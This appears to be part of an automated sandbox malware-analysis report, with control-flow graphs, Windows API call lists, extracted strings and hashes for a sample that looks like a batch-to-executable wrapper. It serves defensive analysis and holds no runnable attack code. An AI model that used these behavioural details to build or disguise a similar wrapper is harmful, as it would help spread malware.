                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressLibraryLoadProcVersion
                                                                                                                                                                                                                                                                    • String ID: AlphaBlend$msimg32.dll
                                                                                                                                                                                                                                                                    • API String ID: 2685220120-3639726679
                                                                                                                                                                                                                                                                    • Opcode ID: d429a01ff9899330b3a05c9c8e65c55e01fd74aa5c69c0fea1c440f20496e95a
                                                                                                                                                                                                                                                                    • Instruction ID: f97060f43d1909f819b01ce6e51d76081c0b9849eaf63466df9ee0946a1d1da5
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d429a01ff9899330b3a05c9c8e65c55e01fd74aa5c69c0fea1c440f20496e95a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5D011A70E14205EEDB619FB6DE4869ABAF4FB40309F14493BD401B26D0E7386555CF1B
                                                                                                                                                                                                                                                                    Function 00401000 Relevance: 98.9, APIs: 26, Strings: 30, Instructions: 891memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 0 401000-4011ad memset GetModuleHandleA HeapCreate call 404000 call 40ab20 call 40a9cc call 408ef3 call 408a23 call 4083d0 call 408059 call 407e90 call 407e72 call 407de9 call 407551 call 406580 call 405791 call 405529 call 404bf5 call 40486d call 405548 call 405497 call 40a8cd call 404068 * 13 call 40633f 67 4011ca-40121f call 405330 call 404d33 GetModuleHandleA GetCommandLineA call 407ec0 call 40aba0 PathRemoveArgsA 0->67 68 4011af-401fd0 call 4048a4 0->68 83 401333-401349 call 40ac50 call 40aba0 67->83 84 401225 67->84 76 401fd5-401fea ExitProcess call 40ab70 HeapDestroy ExitProcess 68->76 94 40134e-401360 call 4037f1 83->94 86 40122f-40123c 84->86 88 4012b6-401331 GetCommandLineA call 407ec0 PathGetArgsA call 407ec0 call 40aba0 call 40ac50 * 3 call 40aba0 86->88 89 40123e-40126c call 404ce5 call 40aba0 call 40ac20 86->89 88->94 112 40127a-401283 89->112 113 40126e-401278 89->113 103 401362-4013ab call 403297 call 4037f1 94->103 104 401379-401394 call 4048a4 94->104 125 4013d2-4013ed call 4048a4 103->125 126 4013ad-401404 call 407f10 call 40aba0 call 4037f1 103->126 104->76 117 4012aa-4012b0 112->117 118 401285-4012a0 call 40ac50 call 40aba0 112->118 113->117 117->86 117->88 118->117 125->76 142 401426-401441 call 4048a4 126->142 143 401406-401458 call 4037f1 126->143 142->76 149 401478-40148a call 4037f1 143->149 150 40145a-401473 143->150 153 4014aa-4014bc call 4037f1 149->153 154 40148c-4014a5 149->154 150->149 157 401742-40179a call 407f10 call 40aba0 call 407f10 call 40aba0 call 4037f1 153->157 158 4014c2-4014cf call 40ac20 153->158 154->153 187 401a00-401a12 call 4037f1 157->187 188 4017a0-4017ea call 404ce5 call 407f10 call 40ac20 157->188 164 4014f1-4015a2 call 406890 call 405a73 call 405c4c call 405f59 call 4068b3 call 405f79 158->164 165 4014d1-4014ec call 40ac50 call 40aba0 158->165 208 4015a7-4015b5 call 406ab7 164->208 178 401665-4016bc call 4040c0 call 4094b0 call 407f10 call 40ac20 165->178 216 4016e9-4016fb call 4037f1 178->216 217 4016be-4016e4 call 4048a4 RemoveDirectoryA 178->217 199 401a18-401b37 call 407fb0 call 40812d call 40aba0 GetTempFileNameA call 407ec0 call 40aba0 call 407fd0 call 4081bc call 4081ca PathAddBackslashA call 40ac50 * 2 call 40aba0 call 408570 call 408770 call 408350 call 40ac50 call 40aba0 PathQuoteSpacesA call 404da1 * 2 187->199 200 401b3c-401b7e call 40ac50 * 3 call 40aba0 call 408570 187->200 226 4017ec-4017f5 188->226 227 4017fe 188->227 199->200 267 401b84-401c18 call 4087d0 GetCommandLineA call 407ec0 PathGetArgsA call 407ec0 call 404da1 call 4087d0 call 4037f1 200->267 268 401c6e-401ca4 call 4081bc call 403b82 call 4048a4 RemoveDirectoryA 200->268 220 4015d1-4015d9 208->220 221 4015b7-4015c7 RemoveDirectoryA 208->221 239 401707-40173d call 4038d5 216->239 240 4016fd-401702 216->240 217->76 230 401619-401621 220->230 231 4015db-4015e9 call 408aec 220->231 221->76 226->227 228 4017f7-4017fc 226->228 229 401800-401802 227->229 228->229 229->187 236 401808-40184f call 408065 call 404917 call 40aba0 call 40ac20 229->236 242 401623-401631 call 408afb 230->242 243 40165f-401660 230->243 252 401616-401617 231->252 253 4015eb-401614 call 405fb4 call 40aba0 call 406453 231->253 295 401855-401888 call 40ac50 call 40aba0 call 4080a5 call 40ac20 236->295 296 4019ae-4019fb call 404d46 call 4080b7 call 4080a5 RemoveDirectoryA 236->296 239->157 240->239 256 401633-40165c call 405fb4 call 40aba0 call 406453 242->256 257 40165e 242->257 243->208 252->243 253->178 256->178 257->243 332 401c62-401cb6 call 408350 call 40ac20 267->332 333 401c1a-401c5c call 407f10 call 4087d0 267->333 268->76 329 401895-4018a7 call 408640 295->329 330 40188a-401890 call 4033c5 295->330 296->76 345 401980-401992 call 408570 329->345 346 4018ad-40192c call 408350 call 40ac50 * 5 call 4048a4 329->346 330->329 359 401cc3-401f24 call 407fb0 call 40812d call 40aba0 GetTempFileNameA call 407ec0 call 40aba0 call 4040f0 call 40aba0 call 404d46 GetShortPathNameA call 404d46 call 404da1 call 404d46 call 4082e8 call 404da1 call 404d46 call 4080b7 call 404da1 call 4041f0 call 404da1 call 40ac50 call 40aba0 PathAddBackslashA call 404da1 call 404380 call 404da1 * 2 call 40521d call 405237 332->359 360 401cb8-401cbe call 4033c5 332->360 333->332 345->296 357 401994-4019a9 call 4086f0 call 408350 345->357 346->345 393 40192e-40197b call 404d46 call 4080b7 call 4080a5 RemoveDirectoryA 346->393 357->296 442 401f26 359->442 443 401f28-401f2d call 406432 359->443 360->359 393->76 444 401f34-401fce call 40527e call 40529c call 403b82 call 4081bc * 3 call 404d46 call 4080b7 call 4080a5 RemoveDirectoryA * 2 442->444 446 401f32 Sleep 443->446 444->76 446->444
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 0040100F
                                                                                                                                                                                                                                                                    • GetModuleHandleA.KERNEL32(00000000), ref: 0040101C
                                                                                                                                                                                                                                                                    • HeapCreate.KERNEL32(00000000,00001000,00000000,00000000), ref: 00401035
                                                                                                                                                                                                                                                                      • Part of subcall function 0040AB20: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401049,00000000,00001000,00000000,00000000), ref: 0040AB2C
                                                                                                                                                                                                                                                                      • Part of subcall function 0040AB20: HeapAlloc.KERNEL32(02640000,00000000,0000404C,?,00401049,00000000,00001000,00000000,00000000), ref: 0040AB5A
                                                                                                                                                                                                                                                                      • Part of subcall function 00408A23: memset.MSVCRT ref: 00408A34
                                                                                                                                                                                                                                                                      • Part of subcall function 00408A23: RegisterClassA.USER32(?), ref: 00408A6E
                                                                                                                                                                                                                                                                      • Part of subcall function 00408A23: CreateWindowExA.USER32(00000000,PostEventClass,00000000,00C00000,00000000,00000000,00000001,00000001,00000000,00000000,00000000), ref: 00408A8B
                                                                                                                                                                                                                                                                      • Part of subcall function 00408A23: RegisterWindowMessageA.USER32(PB_PostEventMessage), ref: 00408A9B
                                                                                                                                                                                                                                                                      • Part of subcall function 00408A23: InitializeCriticalSection.KERNEL32(0040E8D0,00000000,0040E740,00000400,00000028,004089FA,00408A17), ref: 00408AE4
                                                                                                                                                                                                                                                                      • Part of subcall function 00408059: TlsAlloc.KERNEL32(00401062,00000000,00001000,00000000,00000000), ref: 00408059
                                                                                                                                                                                                                                                                      • Part of subcall function 00407E90: HeapCreate.KERNELBASE(00000000,00001000,00000000,00401067,00000000,00001000,00000000,00000000), ref: 00407E99
                                                                                                                                                                                                                                                                      • Part of subcall function 00407551: LoadLibraryA.KERNELBASE(msimg32.dll), ref: 00407562
                                                                                                                                                                                                                                                                      • Part of subcall function 00407551: GetProcAddress.KERNEL32(00000000,AlphaBlend), ref: 00407579
                                                                                                                                                                                                                                                                      • Part of subcall function 00407551: GetVersionExA.KERNEL32(?), ref: 00407599
                                                                                                                                                                                                                                                                      • Part of subcall function 00406580: LoadIconA.USER32(00000001,0000005C), ref: 004065BA
                                                                                                                                                                                                                                                                      • Part of subcall function 00406580: LoadCursorA.USER32(00000000,00007F00), ref: 004065CB
                                                                                                                                                                                                                                                                      • Part of subcall function 00405791: InitializeCriticalSection.KERNEL32(0040E800,?,?,?,00401080,00000000,00001000,00000000,00000000), ref: 0040579B
                                                                                                                                                                                                                                                                      • Part of subcall function 00405791: GetStockObject.GDI32(00000011), ref: 004057A3
                                                                                                                                                                                                                                                                      • Part of subcall function 00405791: memset.MSVCRT ref: 004057DF
                                                                                                                                                                                                                                                                      • Part of subcall function 00405791: InitCommonControlsEx.COMCTL32(00000000,00001000), ref: 004057F9
                                                                                                                                                                                                                                                                      • Part of subcall function 00404BF5: InitializeCriticalSection.KERNEL32(0040E7B4,00000004,00000004,00404BC8,00000010,00000000,00000000,0040108A,00000000,00001000,00000000,00000000), ref: 00404C1D
                                                                                                                                                                                                                                                                      • Part of subcall function 0040486D: memset.MSVCRT ref: 0040487A
                                                                                                                                                                                                                                                                      • Part of subcall function 0040486D: InitCommonControlsEx.COMCTL32(00000000,00001000), ref: 00404894
                                                                                                                                                                                                                                                                      • Part of subcall function 0040486D: CoInitialize.OLE32(00000000), ref: 0040489C
                                                                                                                                                                                                                                                                      • Part of subcall function 00405548: HeapFree.KERNEL32(00000000,?,?,?,00001000,?,?,?,0040109A,00000000,00001000,00000000,00000000), ref: 00405586
                                                                                                                                                                                                                                                                      • Part of subcall function 00405548: HeapFree.KERNEL32(00000000,?,?,00001000,?,?,?,0040109A,00000000,00001000,00000000,00000000), ref: 0040559E
                                                                                                                                                                                                                                                                      • Part of subcall function 00405548: HeapFree.KERNEL32(00000000,00001000,?,00001000,?,?,?,0040109A,00000000,00001000,00000000,00000000), ref: 004055A8
                                                                                                                                                                                                                                                                      • Part of subcall function 00405497: HeapAlloc.KERNEL32(00000000,00000034,?,?,?,004010B5,00000008,00000000,0040D278,00000007,00000000,00001000,00000000,00000000), ref: 004054AA
                                                                                                                                                                                                                                                                      • Part of subcall function 00405497: HeapAlloc.KERNEL32(00000007,00000008,?,?,?,004010B5,00000008,00000000,0040D278,00000007,00000000,00001000,00000000,00000000), ref: 004054BF
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A8CD: RtlAllocateHeap.NTDLL(00000000,00000FE8,0040D278,?,?,?,?,004010D3,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000,0040D278), ref: 0040A8F0
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A8CD: memset.MSVCRT ref: 0040A927
                                                                                                                                                                                                                                                                      • Part of subcall function 0040633F: GetVersionExA.KERNEL32(?), ref: 00406363
                                                                                                                                                                                                                                                                      • Part of subcall function 0040633F: GetVersionExA.KERNEL32(00000008), ref: 00406391
                                                                                                                                                                                                                                                                    • GetModuleHandleA.KERNEL32(00000000,00000000,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000,0040D278,00000007,00000000,00001000,00000000,00000000), ref: 004011E5
                                                                                                                                                                                                                                                                    • GetCommandLineA.KERNEL32(00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000,0040D278,00000007,00000000,00001000,00000000), ref: 004011F7
                                                                                                                                                                                                                                                                    • PathRemoveArgsA.SHLWAPI(0040E48C), ref: 00401212
                                                                                                                                                                                                                                                                    • GetCommandLineA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000), ref: 004012CC
                                                                                                                                                                                                                                                                    • PathGetArgsA.SHLWAPI(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280,0040E4C8,00000008), ref: 004012E6
                                                                                                                                                                                                                                                                      • Part of subcall function 004048A4: MessageBoxA.USER32(00000000,00000007,00001000,00000000), ref: 004048BE
                                                                                                                                                                                                                                                                    • ExitProcess.KERNEL32(00000001,00000010,OPSX,0040E438,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000), ref: 00401FD5
                                                                                                                                                                                                                                                                      • Part of subcall function 0040AB70: HeapFree.KERNEL32(02640000,00000000,02640808,?,00401FDF,00000001,00000010,OPSX,0040E438,00000000,00000000,00000000,00000000,00000000,00000008,00000401), ref: 0040AB82
                                                                                                                                                                                                                                                                      • Part of subcall function 0040AB70: HeapDestroy.KERNELBASE(02640000,?,00401FDF,00000001,00000010,OPSX,0040E438,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280), ref: 0040AB8F
                                                                                                                                                                                                                                                                    • HeapDestroy.KERNEL32(00000001,00000010,OPSX,0040E438,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000), ref: 00401FE5
                                                                                                                                                                                                                                                                    • ExitProcess.KERNEL32(00000001,00000010,OPSX,0040E438,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000), ref: 00401FEA
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Heap$memset$AllocCreateFreeInitialize$CriticalLoadSectionVersion$ArgsCommandCommonControlsDestroyExitHandleInitLineMessageModulePathProcessRegisterWindow$AddressAllocateClassCursorIconLibraryObjectProcRemoveStock
                                                                                                                                                                                                                                                                    • String ID: "*$ already exists in the current directory. Overwrite?$-b2epass$2$:extd@set result=@%b2eextd% "%~1" "%~2" "%~3" "%~4" "%~5" "%~6" "%~7" "%~8" "%~9" > "%b2etempfile%"@set /p result= < "%b2etempfile%"@del "%b2etempfile%"@goto:eof$@call:extd$@shift /0$An unknown error occured. The program will be terminated.$Can not allocate the memory.$Can not create some of your include files.$Choose a location to save the files.$Continue?$Error!$NOPSX$Overwrite?$Password$Please enter the password.$The file $This program is not supported on your operating system.$Wrong password.$\BDFI$b2eextd$b2eincfilecount$b2eprogramfilename$b2eprogramname$b2eprogrampathname$b2eprogramshortname$b2etempfile$extd$extd.exe
                                                                                                                                                                                                                                                                    • API String ID: 3881209495-3449673311
                                                                                                                                                                                                                                                                    • Opcode ID: 697c2c3cc6d845dfc857b5b8a68af47f71c8ce81b92e72ffcf2a41f187347d2f
                                                                                                                                                                                                                                                                    • Instruction ID: 3abba86d431372847312b63a5c30614c18f0b0457f62540881808eb4fabc0cfd
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 697c2c3cc6d845dfc857b5b8a68af47f71c8ce81b92e72ffcf2a41f187347d2f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BA721175644200AFE604BBA3EE46E193765EBC4708F14883EF600771F2CA7D5875AB5E
                                                                                                                                                                                                                                                                    Function 00404DF9 Relevance: 60.4, APIs: 40, Instructions: 370stringmemorypipeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 465 404df9-404e55 memset 466 404e62 465->466 467 404e57-404e60 465->467 468 404e64-404e70 466->468 467->468 469 404e72-404e77 468->469 470 404e8f-404e92 468->470 469->470 471 404e79-404e7e 469->471 472 404e94-404e97 470->472 473 404ecc-404ed5 470->473 471->470 474 404e80-404e8d 471->474 472->473 475 404e99-404eae CreatePipe 472->475 476 404ed7-404edb 473->476 477 404f49-404f4c 473->477 478 404ec8 474->478 475->473 479 404eb0-404ec1 call 404dc2 475->479 482 404f10-404f14 476->482 483 404edd-404ef2 CreatePipe 476->483 480 404f78-404f82 477->480 481 404f4e-404f57 477->481 478->473 479->478 488 404f84-404f87 480->488 489 404f89-404f8c 480->489 486 404f60-404f63 481->486 487 404f59-404f5d GetStdHandle 481->487 482->477 484 404f16-404f2b CreatePipe 482->484 483->482 490 404ef4-404f09 call 404dc2 483->490 484->477 491 404f2d-404f42 call 404dc2 484->491 493 404f65-404f69 GetStdHandle 486->493 494 404f6c-404f6f 486->494 487->486 488->489 496 404f91-404fbb strlen * 2 HeapAlloc 489->496 497 404f8e 489->497 490->482 491->477 493->494 494->480 501 404f71-404f75 GetStdHandle 494->501 498 404fe0-404fe8 strcpy 496->498 499 404fbd-404fde strcpy strcat * 2 496->499 497->496 503 404fe9-404fee 498->503 499->503 501->480 505 404ff0-405006 strcat * 2 503->505 506 405009-40500e 503->506 505->506 507 405010-405012 506->507 508 405017-405037 CreateProcessA 506->508 507->508 509 405014 507->509 510 4050cb-4050d4 508->510 511 40503d-405046 508->511 509->508 512 4050d6-4050d9 CloseHandle 510->512 513 4050db-4050de 510->513 514 405048-40504b CloseHandle 511->514 515 40504d-405050 511->515 512->513 516 4050e0-4050e3 CloseHandle 513->516 517 4050e5-4050e8 513->517 514->515 518 405052-405055 CloseHandle 515->518 519 405057-40505a 515->519 516->517 520 4050ea-4050ed CloseHandle 517->520 521 4050ef-4050f2 517->521 518->519 522 405061-40506a CloseHandle 519->522 523 40505c-40505f CloseHandle 519->523 520->521 526 4050f4-4050f7 CloseHandle 521->526 527 4050f9-4050fc 521->527 524 405077-40507a 522->524 525 40506c-405071 WaitForSingleObject 522->525 523->522 528 4050c1-4050c6 CloseHandle 524->528 529 40507c-4050bc EnterCriticalSection call 40a860 LeaveCriticalSection 524->529 525->524 526->527 530 405103-405106 527->530 531 4050fe-405101 CloseHandle 527->531 535 4051f9 528->535 541 4051e9-4051f2 529->541 532 405108-40510b CloseHandle 530->532 533 40510d-405111 530->533 531->530 532->533 536 405200-40521a HeapFree 533->536 537 405117-40511a 533->537 535->536 539 405159-40519c memset ShellExecuteExA 537->539 540 40511c-40512d strlen 537->540 539->536 543 40519e-4051a2 539->543 540->539 542 40512f-405132 540->542 541->536 544 405134-405138 542->544 545 40513a-40513d 542->545 546 4051a4-4051a9 WaitForSingleObject 543->546 547 4051af-4051b2 543->547 544->542 544->545 545->539 548 40513f-405156 strcpy 545->548 546->547 549 4051f4-4051f7 CloseHandle 547->549 550 4051b4-4051e6 EnterCriticalSection call 40a860 LeaveCriticalSection 547->550 548->539 549->535 550->541
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00404E41
                                                                                                                                                                                                                                                                    • CreatePipe.KERNEL32(?,?,?,00000000,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404EA6
                                                                                                                                                                                                                                                                    • CreatePipe.KERNEL32(?,?,?,00000000,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404EEA
                                                                                                                                                                                                                                                                    • CreatePipe.KERNEL32(?,?,?,00000000,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404F23
                                                                                                                                                                                                                                                                    • GetStdHandle.KERNEL32(000000F6,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 00404F5B
                                                                                                                                                                                                                                                                    • GetStdHandle.KERNEL32(000000F5,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 00404F67
                                                                                                                                                                                                                                                                    • GetStdHandle.KERNEL32(000000F4,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 00404F73
                                                                                                                                                                                                                                                                    • strlen.MSVCRT ref: 00404F92
                                                                                                                                                                                                                                                                    • strlen.MSVCRT ref: 00404F9C
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000000,00000004,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0), ref: 00404FAF
                                                                                                                                                                                                                                                                    • strcpy.MSVCRT(00000000,0040C04C,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0), ref: 00404FC4
                                                                                                                                                                                                                                                                    • strcat.MSVCRT(00001000,?,00000000,0040C04C,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404FCD
                                                                                                                                                                                                                                                                    • strcat.MSVCRT(00001000,0040C04C,00001000,?,00000000,0040C04C,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404FD6
                                                                                                                                                                                                                                                                    • strcpy.MSVCRT(00000000,?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0), ref: 00404FE2
                                                                                                                                                                                                                                                                    • strcat.MSVCRT(00001000,0040C000,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0), ref: 00404FF8
                                                                                                                                                                                                                                                                    • strcat.MSVCRT(00001000,?,00001000,0040C000,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00405001
                                                                                                                                                                                                                                                                    • CreateProcessA.KERNELBASE(00000000,00001000,00000000,00000000,?,?,00000000,00000000,?,?,?,?,00000000,b2eargs,00000000,00000000), ref: 0040502F
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 0040504B
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 00405055
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 0040505F
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 00405064
                                                                                                                                                                                                                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0), ref: 00405071
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(0040E7B4,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 00405082
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(0040E7B4,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 00405099
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 004050C4
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 004050D9
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 004050E3
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 004050ED
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 004050F7
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 00405101
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0,00000001), ref: 0040510B
                                                                                                                                                                                                                                                                    • strlen.MSVCRT ref: 00405120
                                                                                                                                                                                                                                                                    • strcpy.MSVCRT(00001000,?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0), ref: 00405145
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00405162
                                                                                                                                                                                                                                                                    • ShellExecuteExA.SHELL32(?,?,?,?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00405194
                                                                                                                                                                                                                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004051A9
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(0040E7B4,?,?,?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004051BA
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(0040E7B4,?,?,?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004051D1
                                                                                                                                                                                                                                                                      • Part of subcall function 00404DC2: GetCurrentProcess.KERNEL32(00404F3E,00000000,00000000,00000002,00000100,?,?,00404F3E,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000), ref: 00404DD7
                                                                                                                                                                                                                                                                      • Part of subcall function 00404DC2: GetCurrentProcess.KERNEL32(?,00000000,?,?,00404F3E,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404DDC
                                                                                                                                                                                                                                                                      • Part of subcall function 00404DC2: DuplicateHandle.KERNEL32(00000000,?,?,00404F3E,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404DDF
                                                                                                                                                                                                                                                                      • Part of subcall function 00404DC2: CloseHandle.KERNEL32(?,?,00404F3E,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00404DEC
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004051F7
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,00001000,?,?,00000000,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,@shift /0), ref: 0040520A
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
